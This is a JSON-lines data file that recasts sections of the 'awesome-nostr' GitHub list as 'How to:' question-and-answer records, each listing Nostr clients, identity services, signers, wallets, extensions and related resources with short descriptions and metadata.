{"id": "gh_c37a6790dcfc", "question": "How to: Client reviews and/or comparisons", "question_body": "About aljazceru/awesome-nostr", "answer": "- Feature [comparison list of Nostr clients](https://github.com/vishalxl/Nostr-Clients-Features-List)![stars](https://img.shields.io/github/stars/vishalxl/Nostr-Clients-Features-List.svg?style=social)\n- [Feature Matrix for Nostr Clients](https://github.com/nostorg/clients)![stars](https://img.shields.io/github/stars/nostorg/clients.svg?style=social)\n  - [Landing page](https://nostorg.github.io/clients/)", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764864"}
{"id": "gh_406f5d4c31b7", "question": "How to: Cache services", "question_body": "About aljazceru/awesome-nostr", "answer": "- [Primal](https://github.com/PrimalHQ/primal-caching-service) - Caching service for Nostr connects to the specified set of relays, collects all events in real time, stores them locally, and makes them available to nostr clients through a web socket-based API.", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764889"}
{"id": "gh_2582920f8c4b", "question": "How to: NIP-05 identity services", "question_body": "About aljazceru/awesome-nostr", "answer": "- [Anchorman.lol](https://anchorman.lol/) – A free & premium NIP-05 service with managed avatar, relay & blossom hosting.\n- [bitcoiner.chat](https://bitcoiner.chat) - A free NIP-05 ID registration service.\n- [easyNostr-NIP05](https://wordpress.org/plugins/easynostr-nip05/) - WordPress plugin to enable your site as a NIP-05 endpoint for every registered user on your system using your domain.\n- [easyNostr](https://easyNostr.com) - NIP-05 ID provider: Use your own domain, or one of ours: nostr.ly, mynostr.io, easyNostr.com.\n- [getalby.com](https://getalby.com/) - Lightning wallet with NIP-05 ID registration service.\n- [iris.to](https://iris.to) - A Nostr client that provides a free NIP-05 ID\n - [Iris Meet](https://meet.iris.to) - Videocalls over Nostr webrtc signaling\n - [Iris Docs](https://docs.iris.to) - Collaborative document editing over Nostr & blossom\n - [Iris Video](https://video.iris.to) - Videos over Nostr & blossom\n - [Iris Files](https://files.iris.to) - Blossom based filesystem and explorer\n- [jellyfish.land](https://jellyfish.land/nip05) - Nostr NIP-05 handles on @nostr.eco domain with WoT protection\n- [lifpay.me](https://lifpay.me) - Lightning wallet with NIP-05 ID registration service.\n- [nanostr](https://github.com/xbol0/nanostr)![stars](https://img.shields.io/github/stars/xbol0/nanostr?style=social) - A NIP-05 name server written in Deno.\n- [Nostr-Check.com](https://nostr-check.com) - A free NIP-05 ID registration service.\n- [NostrAddress.com](https://nostraddress.com) - Free and Paid Nostr Address (NIP-05) identifier service with premium relay and vanity domains.\n- [nostrcheck.me](https://nostrcheck.me/) - A free NIP-05 ID (nostr address) registration service, lightning redirection and media uploads.\n- [Nostrich House](https://nostrich.house) - Paid NIP-05 service with nostr bot interface. Buy your nostr address with DM to nostrich@nostrich.house for 1 sat/hour, anonymous, immediate.\n- [nostrich.love](https://uselessshit.co/nostr/nip-05/) - A Nostr Address registration service.\n- [nostrplebs](https://nostrplebs.com) - The oldest and original Nostr address registration and identity management service.\n- [nostrprotocol.net](https://github.com/KiPSOFT/nostr-nip05-service)![stars](https://img.shields.io/github/stars/KiPSOFT/nostr-nip05-service?style=social) - A free NIP-05 identifier service.\n- [pleroma2nip05](https://code.taurix.net/guy/pleroma2nip05) - A Python based service to link pleroma ID's to nostr keys.\n- [siamstr.com](https://siamstr.com) - A free NIP-05 ID registration service, lightning redirection.\n- [younostr.com](https://younostr.com) - A NIP-05 ID registration service (in portuguese).\n- [hunos.hu](https://hunos.hu) - Free NIP-05 identity for the Hungarian community.\n- [zap.club](https://zap.club) - NIP-05 ID service for @zap.club handles.\n- [zaps.lol](https://zaps.lol)- A free and open source NIP-05 ID registration service. [Run your own](https://github.com/jigglycrumb/nostr-address-provider).", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764937"}
{"id": "gh_a9c1b826ef35", "question": "How to: Offline signers", "question_body": "About aljazceru/awesome-nostr", "answer": "- [amber](https://github.com/greenart7c3/amber)![stars](https://img.shields.io/github/stars/greenart7c3/amber.svg?style=social) - Amber is a nostr event signer for Android. It allows users to keep their nsec segregated in a single, dedicated app. The goal of Amber is to have your smartphone act as a NIP-46 signing device without any need for servers or additional hardware. \"Private keys should be exposed to as few systems as possible as each system adds to the attack surface,\" as the rationale of said NIP states. In addition to native apps, Amber aims to support all current nostr web applications without requiring any extensions or web servers.\n- [keechain](https://github.com/yukibtc/keechain)![stars](https://img.shields.io/github/stars/yukibtc/keechain.svg?style=social) - Bitcoin application to transform your offline computer in an AirGap Signing Device (aka Hardware Wallet) with support to `NIP-06` and `NIP-26`.\n- [nostr-signing-device](https://github.com/lnbits/nostr-signing-device) - Signing device for Nostr built on ESP32\n- [nostrum](https://github.com/nostr-connect/nostrum)![stars](https://img.shields.io/github/stars/nostr-connect/nostrum.svg?style=social) - Nostrum it's a mobile app that allows you to sign transactions and messages with your Nostr keys. Nostrum is the reference implementation for a remote signer app (ie. Wallet) of the Nostr Connect protocol.", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764944"}
{"id": "gh_1efe68284a6a", "question": "How to: Vanity pubkey mining", "question_body": "About aljazceru/awesome-nostr", "answer": "offlo\n- [glasnostr](https://github.com/eyelight/glasnostr)![stars](https://img.shields.io/github/stars/eyelight/glasnostr.svg?style=social) - CLI tool to mine a vanity prefix for your nostr npub\n- [go-pubmine](https://github.com/tenkoh/go-pubmine)![stars](https://img.shields.io/github/stars/tenkoh/go-pubmine.svg?style=social) - Multithreading nostr keypair generator which gives pretty (vanity) public keys. Both CLI and web apps are available.\n- [vanity-key](https://github.com/nostr-net/vanity-key/)![stars](https://img.shields.io/github/stars/nostr-net/vanity-key.svg?style=social) - use your face biometrics to generate a deterministic private key\n- [key-generator](https://github.com/TP-Lab/key-generator) ![stars](https://img.shields.io/github/stars/TP-Lab/key-generator.svg?style=social) - A simple tool to generate nostr keypair.\n- [noclvag](https://codeberg.org/alex0jsan/noclvag) - OpenCL cli tool to mine vanity keys on gpu\n- [nostr-pubminer](https://github.com/lacaulac/nostr-pubminer)![stars](https://img.shields.io/github/stars/lacaulac/nostr-pubminer.svg?style=social) - A simple tool to mine nostr vanity pubkeys\n- [nostr-vanity-address-generator](https://github.com/chawyehsu/nostr-vanity-address-generator) ![stars](https://img.shields.io/github/stars/chawyehsu/nostr-vanity-address-generator.svg?style=social) - Cross-platform nostr vanity address generator\n- [nostr.rest](https://nostr.rest) - Mine proof of work public keys with user-specified prefixes\n- [nostrogen](https://github.com/tonyinit/nostrogen)![stars](https://img.shields.io/github/stars/tonyinit/nostrogen.svg?style=social) - simple web-based nostr vanity address generator\n- [powpub](https://lab.oak-node.net/powpub) - A decentralized protocol to buy Nostr vanity pubkeys or sell hashrate\n  - [WebLN demo](https://lab.oak-node.net/powpub/uv/wasm-client/) - Simple web demo where clients can pay with WebLN\n- [rana](https://github.com/grunch/rana)![stars](https://img.shields.io/github/stars/grunch/rana.svg?style=social) - Vanity pubkey miner based on nip13", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764952"}
{"id": "gh_b2a311857d21", "question": "How to: Peer-to-peer markets", "question_body": "About aljazceru/awesome-nostr", "answer": "- [crusty-n3xb](https://github.com/nobu-maeda/crusty-n3xb) ![stars](https://img.shields.io/github/stars/nobu-maeda/crusty-n3xb.svg?style=social) - Rust library implementing the n3xB Bitcoin exchange protocol\n- [mostro-cli](https://github.com/MostroP2P/mostro-cli) ![stars](https://img.shields.io/github/stars/MostroP2P/mostro-cli.svg?style=social) - CLI client to operate with Mostro (WIP)\n- [mostro-web](https://github.com/MostroP2P/mostro-web) ![stars](https://img.shields.io/github/stars/MostroP2P/mostro-web.svg?style=social) - Web client to operate with Mostro (WIP)\n- [mostro](https://github.com/MostroP2P/mostro) ![stars](https://img.shields.io/github/stars/MostroP2P/mostro.svg?style=social) -  Daemon for Lightning Network peer-to-peer exchange platform on Nostr (WIP)\n- [n3xB](https://github.com/nobu-maeda/n3xb) ![stars](https://img.shields.io/github/stars/nobu-maeda/n3xb.svg?style=social) - Proposal for a Bitcoin exchange protocol and a globally shared order book on Nostr", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764958"}
{"id": "gh_c905746573ba", "question": "How to: NIP-07 Browser extensions", "question_body": "About aljazceru/awesome-nostr", "answer": "Allow you to sign Nostr events on web-apps without having to give them your keys\n\n- [Aka Profiles](https://github.com/neilck/aka-extension)![stars](https://img.shields.io/github/stars/neilck/aka-extension.svg?style=social) -  Nostr Signing Extension for Chrome supporting multiple key pairs based on nos2x.\n- [Alby](https://getalby.com)![stars](https://img.shields.io/github/stars/getAlby/lightning-browser-extension.svg?style=social) - Bitcoin Lightning app with nostr support\n- [Blockcore](https://github.com/block-core/blockcore-wallet)![stars](https://img.shields.io/github/stars/block-core/blockcore-wallet.svg?style=social) - Multi wallet browser extension with nostr support\n- [horse](https://github.com/fiatjaf/horse) - hardware remote nostr event signer with webserial\n- [Keys.Band](https://keys.band) - Multi-key Nostr signing extension for Chrome with a sleak UI/UX. Based on NOS2X.\n- [NIP-07 Signing Extension Tester](https://github.com/neilck/nip07-tester)![stars](https://img.shields.io/github/stars/neilck/nip07-tester.svg?style=social) - This Next.js app tests NIP-07, showing supported functions and raw results for the current signing extension.\n- [nodestr](https://github.com/lightning-digital-entertainment/nodestr) - A nip07 provider and polyfill for NodeJS\n- [nos2x-fox](https://diegogurpegui.com/nos2x-fox/) - A Firefox add-on that lets you manager your Nostr keys in one place, and then sign events in websites without exposing your private key\n- [nos2x](https://github.com/fiatjaf/nos2x)![stars](https://img.shields.io/github/stars/fiatjaf/nos2x.svg?style=social) - Nostr Signer Extension\n- [Nostash](https://github.com/tyiu/nostash)![stars](https://img.shields.io/github/stars/tyiu/nostash.svg?style=social) - Nostash is an iOS/iPadOS/macOS Safari browser extension for signing events on 3rd party sites without sharing your private keys with them ([Nostash on App Store](https://apps.apple.com/app/nostash/id6744309333))\n- [nostr-keyx](https://github.com/susumuota/nostr-keyx)![stars](https://img.shields.io/github/stars/susumuota/nostr-keyx.svg?style=social) - A NIP-07 browser extension that uses the OS's keychain or YubiKey to protect your private keys.\n- [nostr](https://github.com/jinglescode/nostr-password-manager)![stars](https://img.shields.io/github/stars/jinglescode/nostr-password-manager.svg?style=social) - A free, open source, and decentralized password manager, powered by NOSTR\n- [nostrame](https://github.com/Anderson-Juhasc/nostrame)![stars](https://img.shields.io/github/stars/Anderson-Juhasc/nostrame.svg?style=social) - Nostr Signer and Account Management Extension \n- [nowser](https://github.com/haorendashu/nowser)![stars](https://img.shields.io/github/stars/haorendashu/nowser.svg?style=social) - A secure nostr key management and signing app for iOS and Android that supports NIP-07, NIP-46 and NIP-55\n- [OneKey](https://onekey.so)![stars](https://img.shields.io/github/stars/onekeyhq/app-monorepo.svg?style=social) - Open-source crypto wallet with nosrt support.\n- [Signum XT Wallet](https://github.com/signum-network/signum-xt-wallet)![stars](https://img.shields.io/github/stars/signum-network/signum-xt-wallet.svg?style=social) - Metamask-like browser extension for Signum blockchain with full NIP07 support and multi-account management\n- [Self-Sovereign Browser](https://api-docs-30b126.gitlab.io/index.html) - Firefox-forked browser with NIP-07 support\n- [Spring Browser](https://spring.site) - Nostr-focused browser app for Android.\n- [TokenPocket](https://github.com/TP-Lab/TokenPocket)![stars](https://img.shields.io/github/stars/TP-Lab/TokenPocket.svg?style=social) - Multi wallet browser extension with nostr support. https://tokenpocket.pro\n- [wen](https://github.com/fiatjaf/wen)![stars](https://img.shields.io/github/stars/fiatjaf/wen.svg?style=social) - browser extension for website enhancer with nostr", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764967"}
{"id": "gh_f14d0eacd3b3", "question": "How to: NIP-47 Nostr Wallet Connect (NWC) implementations", "question_body": "About aljazceru/awesome-nostr", "answer": "Clients (apps using NWC to access a LN wallet)\n\n- [Alby Go](https://albygo.com) - A simple lightning mobile wallet interface that works great with Alby Hub.\n- [Amethyst](https://github.com/vitorpamplona/amethyst)![stars](https://img.shields.io/github/stars/vitorpamplona/amethyst.svg?style=social) - Android-only app\n- [Damus](https://damus.io/) - The OG nostr client for iOS\n- [Lume](https://lume.nu) - Cross-platform desktop app\n- [nostrcheck-server](https://github.com/quentintaranpino/nostrcheck-server)![stars](https://img.shields.io/github/stars/quentintaranpino/nostrcheck-server.svg?style=social) - server with relay, File Hosting, Nostr Address, Lightning Redirects, NWC and WoT.\n- [Nostrmo](https://github.com/haorendashu/nostrmo)![stars](https://img.shields.io/github/stars/haorendashu/nostrmo.svg?style=social) - A flutter nostr client for Android, IOS, MacOS, Windows, Web and Linux.\n- [nostter](https://github.com/SnowCait/nostter)![stars](https://img.shields.io/github/stars/SnowCait/nostter.svg?style=social) - Twitter-like web client\n- [Nostur](https://nostur.com) - A nostr client for iPhone and macOS\n- [Spring Browser](https://spring.site) - Nostr-focused browser app for Android.\n- [YakiHonne](https://yakihonne.com/yakihonne-mobile-app) - iOS and Android app\n- [Yana](https://github.com/frnandu/yana)![stars](https://img.shields.io/github/stars/frnandu/yana.svg?style=social) - Yana is a nostr client focused on performance in slower devices and modularity of features.\n  - [yana.do](https://yana.do)\n\nEndpoints (services or apps that expose a LN wallet via NWC)\n\n- [Alby NWC (Umbrel)](https://apps.umbrel.com/app/alby-nostr-wallet-connect) - Umbrel app for exposing your self-custodial Umbrel LN Wallet over NWC\n- [Alby NWC (Web)](https://nwc.getalby.com/) - Web portal for exposing your custodial Alby account over NWC\n- [Flash](https://paywithflash.com/) - Bitcoin payments solution based on NWC\n- [Mutiny](https://www.mutinywallet.com) - Self-custodial LN wallet that runs in the browser\n- [Rizful](https://rizful.com) - Cloud lightning node with NWC support", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764976"}
{"id": "gh_57f85cdce6fb", "question": "How to: NIP-57 Zaps compatible wallets and solutions", "question_body": "About aljazceru/awesome-nostr", "answer": "- [Alby](https://getalby.com)![stars](https://img.shields.io/github/stars/getAlby/lightning-browser-extension.svg?style=social) - Bitcoin Lightning app with nostr support\n- [Bipa](https://bipa.app/) - User-friendly Bitcoin wallet for buying and selling bitcoin with lightning and pix support\n- [Blink](https://www.blink.sv/) - Blink (ex Bitcoin Beach Wallet)\n- [btcpayserver](https://btcpayserver.org/) - btcpayserver has NIP-57 support for LN addresses since 1.9 version\n- [Current](https://app.getcurrent.io/) - nostr client + lightning wallet\n- [LifPay](https://lifpay.me) - Bitcoin Lightning app with personalized features\n- [LNbits](https://github.com/lnbits/lnbits)![stars](https://img.shields.io/github/stars/lnbits/lnbits.svg?style=social) - Bitcoin Lightning accounting system, zappable LNaddresses\n- [nostdress](https://github.com/believethehype/nostdress)![stars](https://img.shields.io/github/stars/believethehype/nostdress.svg?style=social) - Lightning addresses server based on satdress. Adapted to work with Nostr features (NIP05, NIP57)\n- [Wallet of Satoshi](https://www.walletofsatoshi.com/) - Custodial lightning wallet\n- [zap_server](https://github.com/UTXOnly/zap_server)![stars](https://img.shields.io/github/stars/UTXOnly/zap_server.svg?style=social) - An LNURL server to recieve zaps to tor hosted node and generate kind 9735 zap receipt events\n- [Zebedee app](https://zebedee.io/app) - Zebedee's wallet/lightning app\n- [ZeusLN](https://github.com/ZeusLN/zeus)![stars](https://img.shields.io/github/stars/ZeusLN/zeus.svg?style=social) - A mobile Bitcoin/Lightning app for LND, Core Lightning, and Eclair node operators", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764983"}
{"id": "gh_a7cd58dd2784", "question": "How to: NIP-90 Data vending machines", "question_body": "About aljazceru/awesome-nostr", "answer": "- [data vending machine example](https://github.com/pablof7z/nostr-data-vending-machine)![stars](https://img.shields.io/github/stars/pablof7z/nostr-data-vending-machine.svg?style=social) -  Nostr data vending machine example  by Pablof7z\n- [data-vending-machines.org](https://www.data-vending-machines.org/) - This website provides specs of the different NIP-90 Data Vending Machine kinds\n- [DVM Clients and Services Tutorial](https://www.youtube.com/watch?v=dAuLnNxU0Yg) - Nostr Data Vending Machine Clients and Services Tutorial by Kody Low\n- [DVMCP: Data Vending Machine Context Protocol](https://github.com/gzuuus/dvmcp) - DVMCP is a bridge implementation that connects Model Context Protocol (MCP) servers to Nostr's Data Vending Machine ecosystem \n- [DVMDash](https://dvmdash.live/)![stars](https://img.shields.io/github/stars/dtdannen/dvmdash) - Monitoring & debugging tool for data vending machines; tracks dvm performance and payments - [dvm references](https://github.com/pablof7z/dvm-references/)![stars](https://img.shields.io/github/stars/pablof7z/dvm-references.svg?style=social) - reference implementation of a DVM (Data Vending Machine) backend\n- [ezdvm](https://github.com/dtdannen/ezdvm)![stars](https://img.shields.io/github/stars/dtdannen/ezdvm) - Quickly put any python code in a DVM! Simple library built on nostr-sdk python bindings\n- [nostr-dvm-ts](https://github.com/Kodylow/nostr-dvm-ts)![stars](https://img.shields.io/github/stars/Kodylow/nostr-dvm-ts.svg?style=social) - Typescript examples of Nostr Data Vending Machines \n- [NostrDVM](https://github.com/believethehype/nostrdvm)![stars](https://img.shields.io/github/stars/believethehype/nostrdvm.svg?style=social) - NostrDVM: Nostr NIP90 Data Vending Machine Framework in python\n- [tasktiger.io](https://tasktiger.io/) - another DVM provider\n- [vendata.io](https://vendata.io/) - data processing AI marketplace with nostr data vending machines\n- [vertexlab.io](https://vertexlab.io/) -  Web of Trust as a Service via DVMs", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764991"}
{"id": "gh_d0bd68aa31b4", "question": "How to: NIP-96 File Storage Servers", "question_body": "About aljazceru/awesome-nostr", "answer": "- [mockingyou.com](https://mockingyou.com) \n- [nostpic](https://nostpic.com)\n- [nostr.build](https://nostr.build)\n- [nostrcheck.me](https://nostrcheck.me)\n- [NostrMedia.com](https://nostrmedia.com)\n- [sovbit](https://files.sovbit.host)", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764996"}
{"id": "gh_1c96b01a7bcb", "question": "How to: Nostr Web Services (NWS)", "question_body": "About aljazceru/awesome-nostr", "answer": "- [nws](https://github.com/asmogo/nws)![stars](https://img.shields.io/github/stars/asmogo/nws.svg?style=social) - route TCP over Nostr relays", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.765000"}
{"id": "gh_dde335134c69", "question": "How to: Games on Nostr", "question_body": "About aljazceru/awesome-nostr", "answer": "- [NostrDice](https://github.com/NostrDice/nostrdice)![stars](https://img.shields.io/github/stars/NostrDice/nostrdice) - NostrDice is a provably fair betting game combining the power of Lightning and Nostr.\n  - Live: [app.nostrdice.com](https://app.nostrdice.com)", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.765005"}
{"id": "gh_87e05bcb9078", "question": "How to: Communities", "question_body": "About aljazceru/awesome-nostr", "answer": "Outside of nostr itself, you find the community on:\n\n- [Discord](https://discord.gg/Pxkcgt9sMj) - a discord server for nostr enthusiasts and developers\n- [Matrix: nostrdev](https://chat.ft.hn) - a matrix server for nostr developers\n- [Reddit /r/nostr](https://www.reddit.com/r/nostr/) - subreddit for nostr related discussion\n- [Telegram: nostr Protocol](https://t.me/nostr_protocol) - telegram group for nostr protocol discussion\n- [Telegram: nostr CN](https://t.me/nostr_cn) - Chinese telegram group for nostr\n- [Telegram: nostr ES (Español/Spanish)](https://t.me/nostr_es) - Spanish telegram group for nostr\n- [Telegram: nostr FR (Francophone/French)](https://t.me/nostrfr) - french telegram group for nostr\n- [Telegram: nostr NL (Dutch, Nederlands)](https://t.me/nostrnederland) - Dutch nostr group\n- [Telegram: nostr Per/Fa (Iran,Afganistan,Tajikstan)](https://t.me/nostr_ir) Persian/Farsi nostr gorup\n- [Telegram: nostr RU/UA/BY](https://t.me/nostru_community) - an Eastern European community in telegram group for nostr\n- [Telegram: YakiHonne Daily Featured](https://t.me/YakiHonne_Daily_Featured/) - telegram group for YakiHonne discussions", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.765013"}
{"id": "gh_0d38d2b0d171", "question": "How to: Recommended reading/watching", "question_body": "About aljazceru/awesome-nostr", "answer": "- [Nostr, an introduction](https://wiki.wellorder.net/post/nostr-intro/) - written by scsibug\n- [Why I'm Betting Big On Nostr](https://hivemind.vc/nostr/) - written by Max Webster, Hivemind VC\n- [Why Nostr Matters](https://blog.lopp.net/why-nostr-matters/) -  written by Jameson Lopp\n- [A vision for content discovery and relay usage for basic social-networking in Nostr](https://fiatjaf.com/3f106d31.html) - written by fiatjaf\n- [Nostr Documentary](https://www.youtube.com/watch?v=aA-jiiepOrE) -  Social Media is broken. Can we fix it?\n- [What is Nostr?](https://www.youtube.com/watch?v=MaxXvcr181c) - Uncle Bob explains nostr\n- [Decentralizing Global Markets with Nostr](https://www.youtube.com/watch?v=WtpY_pQ3zcI) - Guy Swann and Pablof7z\n- [FEDSTR: Money-In AI-Out | A Decentralized Marketplace for Federated Learning and LLM Training on the NOSTR Protocol](https://arxiv.org/abs/2404.15834) - written by Konstantinos E. Nikolakakis, George Chantzialexiou, Dionysis Kalogerias.\n- [Exploring the Nostr Ecosystem: A Study of Decentralization and Resilience](https://arxiv.org/abs/2402.05709) -  written by Yiluo Wei, Gareth Tyson.", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.765022"}
{"id": "gh_67971b1c466d", "question": "How to: Other links", "question_body": "About aljazceru/awesome-nostr", "answer": "- [awesome-nostr-japan](https://github.com/nostr-jp/awesome-nostr-japan)![stars](https://img.shields.io/github/stars/nostr-jp/awesome-nostr-japan.svg?style=social) - awesome nostr japan\n- [awesome-nostr-possibilities](https://github.com/orthzar/awesome-nostr-possibilities)![stars](https://img.shields.io/github/stars/orthzar/awesome-nostr-possibilities.svg?style=social) - Nostr will fail if it stays just another social media protocol. This repo lists ideas for non-social-media applications.\n- [inosta api](https://github.com/johnongit/INOSTA-Nostr-Img-Service)![stars](https://img.shields.io/github/stars/johnongit/INOSTA-Nostr-Img-Service.svg?style=social) - Expensive Image Hosting Service\n  - [api.inosta.cc](https://api.inosta.cc) - Backend live instance\n  - [inosta.cc](https://inosta.cc) - Demonstrator live instance\n- [logseq-nostr-sync](https://github.com/KoalaSat/logseq-nostr-sync)![stars](https://img.shields.io/github/stars/KoalaSat/logseq-nostr-sync.svg?style=social) - Logseq plugin to receive new entries as DM.\n- [Media caching server for Nostr](https://media.nostr.band) - caches resized profile pictures and banners to save bandwidth for clients\n- [njump.me](https://njump.me/) - hosted http gateway for browsing profiles, notes and relays\n- [nostr icons 2](https://github.com/SovrynMatt/Nostr-Website-Button-Design) - Another repository of nostr icons (rounded, rectangular)\n- [nostr icons](https://github.com/satscoffee/nostr_icons)![stars](https://img.shields.io/github/stars/satscoffee/nostr_icons.svg?style=social) - Purple, white, and black icons in various formats designed for nostr.\n- [nostr playground in Ruby](https://github.com/dtonon/nostr-ruby-playground)![stars](https://img.shields.io/github/stars/dtonon/nostr-ruby-playground.svg?style=social)\n- [Nostr playground](https://github.com/SnowCait/nostr-playground)![stars](https://img.shields.io/github/stars/SnowCait/nostr-playground.svg?style=social) - JSON-based web client written in vanilla JavaScript\n- [nostr-book](https://github.com/adamdecaf/nostr-book)![stars](https://img.shields.io/github/stars/adamdecaf/nostr-book.svg?style=social) - NIPs compiled into a book\n- [nostr-logo](https://github.com/mbarulli/nostr-logo)![stars](https://img.shields.io/github/stars/mbarulli/nostr-logo.svg?style=social) - Logo and icons for the nostr protocol.\n- [nostr.build](https://nostr.build/) - nostr image uploader\n- [nostrability](https://github.com/nostrability/nostrability)![stars](https://img.shields.io/github/stars/nostrability/nostrability.svg?style=social) - The practical documentation of how various nostr apps play together.\n- [ostrich.work](https://ostrich.work/) - nostr job board\n- [RSS feeds for news on Nostr](https://verityj.github.io/nostr-news-feeds) ![stars](https://img.shields.io/github/stars/verityj/verityj.github.io.svg?style=social) - a curated list of news press channels RSS feeds that we can follow on Nostr\n- [search posts/profiles by keyword](https://nostr.band) - posts from major relays indexed and searchable in real-time\n- [Summaries of all Nostr Improvements Proposals](https://anchor.fm/s/d8e8d5a4/podcast/rss) - ChatGPT generated summaries of all NIPs by k00b\n- [Tracker for Undocumented Nostr Event Kinds](https://undocumented.nostrkinds.info/) - monitors undocumented event kinds in the nostr network\n- [vanilla-js-nostr](https://github.com/supertestnet/vanilla-js-nostr)![stars](https://img.shields.io/github/stars/supertestnet/vanilla-js-nostr.svg?style=social) - a demo of posting and viewing a feed in nostr using vanilla javascript\n- [wellorder nostr datasets](https://wiki.wellorder.net/wiki/nostr-datasets/) - Public standardized nostr datasets for benchmarking, data science, or other analysis.\n- [Zaplife](https://zaplife.lol) - Real-time feed for nostr zaps. The best tool to shut up the \"lightning doesn't work\" people.", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.765033"}
{"id": "gh_68de7aa242eb", "question": "How to: Deprecated", "question_body": "About aljazceru/awesome-nostr", "answer": "- [Astral](https://github.com/monlovesmango/astral)![stars](https://img.shields.io/github/stars/monlovesmango/astral.svg?style=social) - a branle fork with global feed and UI makeover\n  - [Astral on TOR](http://hbn4yzl3qkzi3qpse6nvljbduzcdecaq76tbcfjfzmoaik3q3uryxuad.onion/3bf0c63fcb93463407af97a5e5ee64fa883d107ef9e558472c4eb9aaaefa459d)\n  - [astral.ninja](https://astral.ninja/)\n  - [client.nostr.guide](https://client.nostr.guide/)\n- [ArcadeCity](https://github.com/ArcadeCity/arcade)![stars](https://img.shields.io/github/stars/ArcadeCity/arcade.svg?style=social) - Public group chats and P2P services (WIP) over nostr\n- [Bija](https://github.com/BrightonBTC/bija)![stars](https://img.shields.io/github/stars/BrightonBTC/bija.svg?style=social) - A desktop client written in python. Currently Linux only\n- [Blockcore Notes](https://github.com/block-core/blockcore-notes) ![stars](https://img.shields.io/github/stars/block-core/blockcore-notes.svg?style=social) - Progressive Web App that can be installed on mobile and desktop, organize following in circles and have both public and private following lists\n- [branle](https://github.com/fiatjaf/branle)![stars](https://img.shields.io/github/stars/fiatjaf/branle.svg?style=social) - a Twitter-like client that was discontinued but lives on in its fork \"Astral\".\n- [expensive relay](https://github.com/fiatjaf/expensive-relay)![stars](https://img.shields.io/github/stars/fiatjaf/expensive-relay.svg?style=social) - a relay that requires payment for registration\n- [Flamingo](https://www.getflamingo.org) - Nostr browser extension with a focus on UX\n- [Hamstr](https://github.com/styppo/hamstr)![stars](https://img.shields.io/github/stars/styppo/hamstr.svg?style=social) - A twitter-style web client built with Vue.js\n  - [hamstr.to](https://hamstr.to)\n- [Listr](https://github.com/sepehr-safari/listr) ![stars](https://img.shields.io/github/stars/sepehr-safari/listr.svg?style=social) - A Nostr Web Client for Making Lists.\n- [nodestr](https://github.com/Dolu89/nodestr-relay)![stars](https://img.shields.io/github/stars/Dolu89/nodestr-relay.svg?style=social) - a Node.js implementation\n- [nostr-pass](https://github.com/plantimals/nostr-pass)![stars](https://img.shields.io/github/stars/plantimals/nostr-pass.svg?style=social) - experimenting with nostr priv/pub key pairs for replacing passwords\n- 